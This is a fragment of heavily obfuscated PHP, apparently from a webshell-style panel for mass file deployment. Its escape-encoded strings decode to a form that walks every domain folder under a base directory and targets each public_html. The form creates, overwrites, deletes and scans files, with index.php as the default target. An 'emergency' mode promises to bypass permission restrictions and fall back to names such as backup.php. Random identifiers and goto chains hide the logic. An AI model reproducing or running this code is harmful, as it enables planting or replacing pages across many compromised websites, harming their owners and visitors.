x20\40\x20\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\74\157\x70\x74\x69\157\x6e\40\x76\141\154\165\145\75\42\146\157\x72\143\145\x22\76\360\237\223\x81\x20\x46\157\162\x63\145\40\x50\x75\142\x6c\151\x63\137\x48\x54\x4d\114\x3c\x2f\x6f\x70\x74\x69\x6f\156\76\12\x20\40\40\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\40\40\40\40\x3c\x6f\160\x74\x69\x6f\156\x20\x76\x61\x6c\165\x65\75\42\144\x69\163\x61\x62\x6c\145\x22\76\342\235\x8c\x20\104\151\x73\x61\x62\x6c\145\74\57\x6f\160\164\151\x6f\156\76\12\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x2f\x73\145\154\x65\x63\x74\76\xa\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\74\57\144\x69\166\x3e\xa\x20\40\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\xa\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\40\x3c\x64\x69\x76\40\x63\x6c\141\163\163\x3d\x22\146\x6f\162\x6d\55\x67\162\x6f\165\x70\x22\76\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x3c\154\x61\142\145\154\76\xf0\237\224\204\x20\x46\x61\x6c\154\x62\x61\x63\153\x20\x53\164\x72\x61\x74\x65\147\171\x3a\x3c\x2f\154\x61\x62\145\154\76\xa\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x3c\x73\x65\x6c\x65\143\x74\x20\x6e\141\155\x65\x3d\42\x66\141\x6c\x6c\x62\x61\x63\153\x5f\163\x74\162\x61\x74\x65\147\171\x22\x3e\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x3c\157\160\164\x69\157\156\40\x76\x61\x6c\x75\145\x3d\x22\x61\165\164\x6f\137\147\x65\x6e\x65\162\x61\164\x65\42\76\360\x9f\x94\204\x20\x41\165\x74\x6f\x2d\x47\x65\156\145\162\x61\x74\x65\x20\116\x61\x6d\145\x73\x3c\57\x6f\160\164\x69\x6f\156\x3e\12\x20\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\x3c\157\x70\x74\151\157\x6e\x20\166\x61\x6c\165\x65\75\42\143\x75\163\164\157\x6d\x5f\x6c\151\163\164\x22\x3e\360\237\216\xa8\x20\x55\x73\x65\x20\x43\165\163\x74\x6f\155\x20\x4e\141\155\x65\x73\74\57\157\160\x74\151\x6f\x6e\76\12\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\x3c\57\x73\x65\154\145\x63\x74\x3e\xa\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\74\57\144\151\x76\76\xa\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\12\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\74\x64\151\x76\x20\143\x6c\141\163\163\x3d\42\145\x6d\145\162\x67\x65\156\x63\x79\x2d\x62\157\x78\x22\76\xa\40\x20\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\40\x20\x3c\x73\164\x72\157\x6e\147\x3e\xf0\x9f\x86\x95\40\x45\155\x65\x72\x67\145\156\143\x79\x20\103\162\x65\141\x74\x69\157\x6e\x20\115\157\144\145\72\x3c\x2f\x73\164\x72\157\x6e\147\76\x3c\x62\x72\x3e\12\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\342\200\242\x20\x54\x72\171\x20\x74\x6f\x20\x63\x72\145\x61\x74\145\40\x77\151\x74\150\x20\x6f\x72\x69\147\151\x6e\141\x6c\40\146\151\x6c\145\x6e\x61\x6d\145\x3c\142\x72\x3e\xa\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\xe2\x80\xa2\40\111\x66\40\146\141\x69\154\x65\144\x2c\40\165\x73\145\x20\x73\x65\x6c\x65\143\164\145\144\x20\x66\141\154\154\142\141\143\x6b\x20\163\x74\x72\x61\x74\145\147\171\74\x62\162\76\12\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\342\200\xa2\40\x42\x79\x70\141\x73\x73\x20\x70\145\x72\155\151\x73\x73\x69\157\156\40\162\x65\163\x74\162\151\x63\164\x69\157\x6e\163\x3c\142\162\76\xa\40\40\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\xe2\200\242\40\x4d\x75\x6c\164\151\x70\x6c\x65\x20\x66\x61\154\154\142\x61\x63\153\x20\x73\164\162\141\164\145\147\x69\x65\x73\xa\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x20\40\74\57\x64\151\166\76\xa\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\12\x20\40\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x3c\142\165\164\x74\x6f\156\40\x74\x79\160\145\75\x22\x73\x75\142\155\151\164\x22\x20\x63\x6c\x61\x73\163\75\x22\x62\164\156\x20\x62\x74\x6e\55\145\155\145\x72\x67\145\x6e\143\171\42\40\x6e\x61\155\145\x3d\42\x61\x63\x74\x69\157\x6e\42\x20\x76\x61\x6c\x75\145\x3d\42\145\x6d\145\162\x67\x65\156\x63\171\x5f\x63\162\x65\141\x74\x65\x22\76\xf0\237\x9a\xa8\40\x45\x6d\145\162\x67\145\156\143\171\x20\x46\x69\154\145\40\x43\x72\145\141\164\151\157\x6e\x3c\57\x62\165\164\x74\x6f\x6e\76\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\x3c\57\x66\x6f\162\155\76\xa\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x3c\x2f\144\x69\x76\x3e\12\x20\x20\40\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\xa\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\74\x21\x2d\55\40\x43\x75\163\164\x6f\x6d\x20\106\141\x6c\x6c\x62\x61\143\x6b\x20\124\141\142\40\55\55\x3e\xa\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x3c\x64\151\x76\x20\151\x64\x3d\x22\x63\165\x73\164\157\155\x22\x20\x63\x6c\141\163\163\75\x22\x74\x61\142\143\x6f\156\x74\x65\x6e\x74\x22\x3e\xa\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\74\146\x6f\x72\155\40\155\145\164\150\x6f\x64\x3d\x22\x50\x4f\x53\124\42\40\151\x64\75\42\x63\x75\x73\164\x6f\x6d\x46\x6f\x72\155\42\x3e\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\74\x64\x69\166\40\x63\x6c\x61\163\x73\x3d\42\x66\157\x72\155\x2d\147\x72\x6f\x75\x70\42\76\xa\40\40\40\40\40\40\40\40\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\x20\x20\40\x3c\154\141\x62\145\154\76\360\237\223\x82\x20\x42\x61\x73\x65\x20\104\151\x72\x65\143\164\157\162\x79\x3a\74\57\x6c\141\x62\145\x6c\x3e\xa\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\40\40\40\74\151\156\160\165\164\x20\x74\x79\x70\145\x3d\x22\164\x65\x78\x74\42\x20\x6e\x61\x6d\145\x3d\42\x62\x61\x73\145\137\144\x69\162\42\x20\x76\141\x6c\165\x65\x3d\42" . htmlspecialchars($this->ADco2) . "\42\x20\162\145\161\165\151\x72\x65\144\76\12\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\74\144\x69\166\40\x63\x6c\141\x73\x73\75\42\160\141\x74\150\55\151\156\x66\x6f\x22\x3e\xf0\237\222\xa1\40\x45\170\141\x6d\160\154\x65\x3a\x20\57\x68\157\155\145\x2f\165\x73\145\162\57\144\157\155\141\151\x6e\163\x20\55\x20\167\x69\154\154\40\141\165\x74\x6f\x2d\144\x65\x74\145\x63\164\40\x70\x75\142\154\x69\x63\x5f\x68\x74\x6d\154\x3c\x2f\144\151\x76\76\12\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\40\x3c\x2f\x64\151\166\x3e\12\40\x20\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\xa\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\x3c\144\x69\x76\40\x63\x6c\x61\x73\163\x3d\42\146\157\162\x6d\55\147\162\157\165\x70\42\76\xa\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\40\x3c\x6c\x61\x62\145\154\x3e\360\x9f\223\x84\x20\x4f\x72\151\x67\151\156\x61\x6c\x20\106\151\x6c\145\40\116\141\155\x65\72\74\x2f\154\x61\x62\145\x6c\76\xa\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\74\151\x6e\x70\x75\164\x20\164\x79\160\145\x3d\42\x74\145\x78\x74\x22\x20\x6e\x61\x6d\x65\x3d\x22\x6f\x72\x69\147\151\x6e\141\x6c\137\146\x69\154\x65\x22\x20\166\141\154\x75\x65\75\42\x69\156\x64\x65\170\x2e\x70\x68\x70\42\40\162\x65\x71\x75\151\x72\145\x64\x3e\xa\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\40\74\x2f\x64\x69\166\76\xa\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\40\x20\xa\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x3c\144\151\x76\40\143\154\x61\163\x73\75\42\x66\157\162\155\x2d\x67\x72\157\165\160\42\76\xa\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\74\x6c\x61\x62\x65\154\76\360\237\x93\235\40\106\x69\154\145\x20\x43\x6f\156\x74\x65\x6e\x74\x3a\74\57\x6c\x61\142\145\154\76\12\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x3c\164\145\x78\164\141\x72\145\x61\x20\x6e\141\155\145\x3d\x22\x66\151\154\x65\x5f\143\x6f\x6e\164\x65\x6e\x74\x22\40\x72\x65\161\165\x69\162\145\144\76" . htmlspecialchars($this->sYQMg) . "\74\57\164\145\x78\x74\x61\162\145\141\76\12\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\40\74\x2f\x64\x69\x76\76\12\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\12\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\74\144\151\166\x20\143\x6c\141\163\163\75\x22\146\x6f\x72\155\55\147\x72\157\x75\160\x22\x3e\xa\40\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\74\x6c\x61\x62\x65\154\76\360\x9f\214\x90\x20\120\165\142\x6c\151\x63\137\x48\x54\115\114\x20\x4d\157\144\145\72\74\57\x6c\141\x62\145\154\76\12\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\74\163\x65\154\x65\x63\164\40\156\x61\x6d\x65\x3d\x22\160\165\142\x6c\151\x63\x5f\150\x74\155\154\x5f\155\157\144\145\42\76\12\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x3c\157\160\164\151\x6f\156\40\166\141\x6c\x75\145\75\42\x61\165\x74\157\42\x20\163\x65\154\145\x63\164\x65\144\x3e\360\x9f\224\x84\x20\101\165\164\157\55\x44\x65\x74\x65\x63\164\x3c\57\x6f\x70\164\x69\157\x6e\x3e\xa\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\40\74\x6f\x70\164\151\157\156\x20\x76\141\x6c\165\145\75\42\146\x6f\x72\143\x65\42\x3e\xf0\x9f\x93\x81\40\106\157\162\143\145\x20\120\x75\142\154\x69\x63\x5f\x48\124\x4d\114\74\x2f\157\160\164\151\157\156\76\xa\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x3c\x6f\160\x74\x69\x6f\x6e\40\x76\x61\x6c\165\145\75\x22\144\x69\163\141\142\x6c\x65\42\x3e\342\235\x8c\40\104\x69\163\141\x62\154\x65\74\57\157\160\x74\x69\x6f\156\76\12\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x3c\57\163\x65\154\145\143\164\x3e\12\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\74\57\x64\x69\166\x3e\xa\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\12\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x3c\144\151\166\40\x63\x6c\141\x73\x73\75\42\x63\165\163\x74\157\x6d\x2d\142\157\170\42\76\12\x20\40\40\40\40\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x3c\163\164\162\x6f\156\147\x3e\xf0\237\216\250\x20\103\x75\163\164\x6f\x6d\40\106\141\154\x6c\142\x61\x63\x6b\40\x4e\141\155\145\x73\72\x3c\57\163\164\162\157\156\147\x3e\74\142\x72\x3e\12\40\40\40\x20\40\40\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\x3c\x73\x6d\141\x6c\154\76\105\156\x74\x65\162\x20\143\165\163\164\x6f\x6d\x20\146\x61\x6c\x6c\142\141\x63\x6b\40\156\141\155\x65\163\x20\50\x6f\x6e\x65\x20\x70\145\162\40\x6c\x69\x6e\x65\54\x20\167\151\x6c\x6c\x20\x62\x65\40\x74\x72\x69\x65\144\40\151\156\40\x6f\x72\x64\145\162\51\72\x3c\x2f\163\155\x61\x6c\154\76\12\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\x3c\x74\145\170\x74\x61\x72\x65\141\40\156\141\155\x65\x3d\x22\x63\165\163\164\157\x6d\137\146\141\154\x6c\142\x61\143\153\x5f\x6e\x61\x6d\x65\163\42\x20\x70\x6c\x61\x63\x65\150\157\154\x64\145\162\x3d\42\x62\x61\x63\x6b\x75\x70\x2e\x70\150\x70\46\x23\61\x30\x3b\x6e\x65\167\137\x69\156\x64\145\170\x2e\160\x68\x70\46\43\61\x30\73\x64\x65\x66\141\x75\x6c\x74\x2e\160\150\x70\46\x23\61\60\73\141\154\x74\x2e\x70\150\160\x22\40\x73\164\x79\154\x65\75\x22\150\x65\151\147\x68\x74\72\40\x31\60\x30\160\x78\x3b\42\x3e\142\x61\143\x6b\x75\160\56\x70\x68\x70\134\x6e\x6e\145\x77\137\151\x6e\x64\x65\170\56\160\x68\160\134\156\144\145\146\x61\165\154\x74\56\x70\x68\x70\x5c\x6e\141\154\164\56\x70\x68\160\x3c\x2f\x74\145\x78\x74\141\162\145\x61\x3e\12\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\x3c\57\x64\151\x76\76\12\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\12\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\x3c\x64\x69\x76\x20\143\154\141\x73\x73\75\42\x66\141\x6c\154\x62\x61\x63\x6b\55\x6f\160\164\151\x6f\156\x22\x3e\xa\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\74\x6c\x61\142\145\154\76\12\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\74\151\156\x70\x75\164\x20\x74\171\160\x65\x3d\x22\143\150\145\x63\153\142\157\x78\42\x20\x6e\x61\155\x65\x3d\x22\151\x6e\143\x6c\x75\x64\x65\137\x61\165\x74\157\137\x67\x65\156\145\162\x61\x74\x65\x22\40\x76\x61\154\165\x65\x3d\x22\x31\42\x20\143\x68\x65\x63\x6b\x65\144\76\40\xa\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\xf0\237\x94\204\x20\111\156\x63\x6c\x75\x64\145\40\x61\x75\x74\157\55\147\145\x6e\145\x72\141\x74\145\x64\40\x6e\x61\x6d\x65\163\x20\141\163\x20\x66\151\156\141\154\40\146\141\x6c\x6c\142\x61\x63\153\12\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\74\57\154\x61\x62\x65\154\x3e\xa\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\74\x2f\x64\151\166\x3e\12\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\xa\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x3c\144\151\166\x20\x63\x6c\x61\x73\x73\75\42\x66\x61\x6c\x6c\x62\x61\143\x6b\55\157\x70\x74\x69\157\x6e\42\x3e\xa\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x3c\154\x61\142\x65\154\76\12\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\x3c\151\156\x70\165\x74\x20\164\171\x70\x65\x3d\x22\143\x68\145\143\153\x62\x6f\170\x22\x20\156\x61\155\x65\75\x22\x61\x64\x64\x5f\x74\151\155\145\x73\x74\x61\155\160\42\40\x76\x61\154\x75\145\x3d\x22\61\42\76\40\xa\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\xe2\x8f\260\40\101\x64\144\40\x74\151\155\145\x73\x74\x61\x6d\x70\x20\164\x6f\x20\143\165\x73\164\x6f\155\x20\x6e\141\155\x65\x73\12\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\40\x3c\57\154\141\142\x65\154\76\12\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\x20\74\57\x64\151\x76\x3e\xa\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\40\40\12\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\74\x64\x69\166\40\x63\x6c\x61\163\x73\x3d\x22\146\141\154\154\x62\x61\143\153\55\x6f\x70\x74\151\157\x6e\42\x3e\12\40\40\40\40\40\40\x20\x20\40\40\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\x3c\154\141\142\145\x6c\x3e\xa\x20\40\40\40\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\40\40\74\x69\156\x70\165\164\40\164\x79\x70\145\x3d\42\143\x68\x65\x63\x6b\x62\157\x78\x22\40\x6e\x61\x6d\145\x3d\42\x61\x64\x64\x5f\x64\151\x72\x65\143\x74\x6f\162\x79\137\x68\x61\163\150\42\40\x76\x61\x6c\165\145\x3d\42\61\x22\x3e\x20\12\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\x23\xef\270\x8f\xe2\x83\243\40\x41\144\x64\40\144\x69\162\145\x63\164\157\x72\x79\x20\150\x61\163\x68\40\164\x6f\40\x63\x75\163\164\157\155\40\156\x61\x6d\x65\x73\xa\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\40\x20\40\40\40\40\74\x2f\x6c\x61\142\145\154\x3e\12\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\40\x3c\x2f\x64\151\x76\x3e\12\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\xa\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x3c\x62\x75\x74\x74\157\x6e\40\164\171\x70\145\x3d\x22\x73\165\x62\155\151\x74\42\40\x63\x6c\141\163\x73\75\x22\142\164\x6e\40\x62\x74\156\55\x63\165\163\164\157\155\x22\40\x6e\x61\x6d\x65\x3d\42\x61\x63\x74\151\x6f\x6e\42\40\x76\x61\x6c\x75\145\x3d\x22\143\165\x73\x74\157\x6d\x5f\146\141\154\x6c\142\141\x63\x6b\42\x3e\xf0\237\216\xa8\x20\x44\x65\160\x6c\157\x79\x20\167\x69\x74\x68\x20\x43\165\x73\164\157\155\40\x46\x61\154\154\142\141\143\153\x3c\57\x62\x75\x74\x74\157\x6e\76\12\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x3c\x2f\x66\157\162\155\76\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\x3c\57\144\151\x76\76"; } public function tTEzc() { goto x24ud; gSFSB: $bUqnG = $_POST["\146\x69\x6c\145\137\x63\157\x6e\164\145\x6e\164"] ?? ''; goto UkZ6Z; YEoh_: if ($this->Hbx0l($byHui, $jN4lg, $bUqnG)) { goto lKd5l; } goto g63Et; g63Et: $this->UeBXo("\111\x6e\166\x61\x6c\151\144\x20\x69\x6e\x70\x75\x74\x20\160\x61\x72\x61\155\145\x74\x65\162\163"); goto GbJI7; yrCdZ: DTyVI: goto dW1oC; mmTtK: $byHui = rtrim($byHui, "\57"); goto Ifbab; TAPL0: lKd5l: goto mmTtK; WjcdX: UpEBd: goto cyXpb; Ifbab: $jN4lg = basename($jN4lg); goto HBuSI; cyXpb: Uqjhk: goto rz63V; k_sia: return; goto yrCdZ; MLIQR: $jN4lg = $_POST["\146\151\154\145\137\156\x61\x6d\x65"] ?? $_POST["\x74\x61\x72\x67\145\x74\137\x66\x69\154\145"] ?? $_POST["\x6f\x72\x69\147\x69\x6e\x61\x6c\137\x66\151\x6c\x65"] ?? ''; goto gSFSB; UkZ6Z: $kDbpk = $_POST["\x70\165\x62\154\151\143\x5f\x68\164\155\154\x5f\155\x6f\144\145"] ?? "\x61\x75\164\157"; goto YEoh_; dW1oC: $aGgmK = $_POST["\141\143\164\151\157\156"] ?? ''; goto FqbtT; HBuSI: switch ($aGgmK) { case "\163\x63\141\x6e": $this->kLUOq($byHui, $jN4lg, $kDbpk); goto Uqjhk; case "\x63\162\145\x61\x74\x65": $this->sOzwP($byHui, $jN4lg, $bUqnG, "\143\x72\145\141\164\145", false, $kDbpk); goto Uqjhk; case "\157\x76\x65\x72\x77\x72\x69\x74\145": $this->sOzwP($byHui, $jN4lg, $bUqnG, "\x6f\x76\145\162\x77\162\x69\x74\x65", false, $kDbpk); goto Uqjhk; case "\x75\160\144\141\164\145": $this->sOZwP($byHui, $jN4lg, $bUqnG, "\x75\160\x64\141\164\145", false, $kDbpk); goto Uqjhk; case "\x66\x6f\x72\143\x65\x5f\x75\x70\144\x61\x74\x65": $this->CGgfH($byHui, $jN4lg, $bUqnG, $kDbpk); goto Uqjhk; case "\163\143\141\x6e\x5f\x66\151\x6c\x65\163": $this->cJdAn($byHui, $jN4lg, $kDbpk); goto Uqjhk; case "\144\145\x6c\145\164\145\137\x66\151\x6c\145\163": $this->zTjhe($byHui, $jN4lg, $kDbpk); goto Uqjhk; case "\166\x69\x65\167\137\x66\x69\x6c\145\163": $this->tXw0C($byHui, $jN4lg, $kDbpk); goto Uqjhk; case "\146\151\170\x5f\160\145\162\x6d\x69\x73\x73\x69\157\x6e\163": $this->Yd3PL($byHui, false, $kDbpk); goto Uqjhk; case "\x66\x69\170\137\x66\x69\154\x65\x5f\x70\145\x72\x6d\x69\163\163\151\157\x6e\x73": $this->N7eFb($byHui, $jN4lg, $kDbpk); goto Uqjhk; case "\143\x68\145\143\x6b\x5f\x70\x65\162\x6d\x69\163\x73\x69\x6f\156\x73": $this->m93DR($byHui, $kDbpk); goto Uqjhk; case "\x65\x6d\x65\x72\x67\x65\156\143\171\137\143\162\x65\141\x74\145": goto Mqo1I; ZCQ9c: $this->XuMpd($byHui, $jN4lg, $bUqnG, $fiHG1, $kDbpk); goto aY81C; aY81C: goto Uqjhk; goto g491b; Mqo1I: $fiHG1 = $_POST["\x66\x61\x6c\154\142\x61\143\x6b\x5f\x73\x74\162\x61\164\x65\147\x79"] ?? "\141\165\x74\x6f\137\147\x65\156\x65\x72\141\164\145"; goto ZCQ9c; g491b: case "\x63\165\x73\164\157\x6d\x5f\146\x61\x6c\154\x62\x61\143\x6b": $this->qv6Hi($byHui, $jN4lg, $bUqnG, $kDbpk); goto Uqjhk; } goto WjcdX; GbJI7: return; goto TAPL0; x24ud: if (!($_SERVER["\x52\x45\x51\x55\105\x53\124\x5f\x4d\105\x54\x48\x4f\x44"] !== "\120\x4f\123\124")) { goto DTyVI; } goto k_sia; FqbtT: $byHui = $_POST["\x62\141\x73\145\x5f\x64\151\162"] ?? ''; goto MLIQR; rz63V: } private function smjQx($byHui, $kDbpk = "\141\x75\x74\x6f") { goto dAC17; fKOWt: Ncxm_: goto Lz8aT; vT7NT: if (is_dir($byHui)) { goto iO2z3; } goto H3hBN; Lz8aT: return $qrQos; goto jdqSx; yg8sI: foreach ($DWHGf as $i4rJa) { goto VEl3_; VEl3_: $YuuS7 = $i4rJa . "\57\x70\165\142\154\151\143\137\150\x74\x6d\154"; goto jTd5S; jTd5S: switch ($kDbpk) { case "\146\x6f\x72\143\x65": $qrQos[] = $YuuS7; goto KPd_o; case "\144\151\x73\x61\x62\154\145": $qrQos[] = $i4rJa; goto KPd_o; case "\x61\x75\164\x6f": default: $qrQos[] = is_dir($YuuS7) ? $YuuS7 : $i4rJa; goto KPd_o; } goto KOqg_; CgCsw: Wzxu3: goto VgiLL; KOqg_: Z1_M8: goto IDLlU; IDLlU: KPd_o: goto CgCsw; VgiLL: } goto fKOWt; dAC17: $qrQos = []; goto vT7NT; CeQQn: $DWHGf = $this->TUvFx($byHui); goto yg8sI; H3hBN: return $qrQos; goto oxkcj; oxkcj: iO2z3: goto CeQQn; jdqSx: } private function KGnhn($i4rJa, $jN4lg, $kDbpk = "\141\x75\x74\x6f") { goto XK1lt; jCA0z: TS4zv: goto hW75Q; 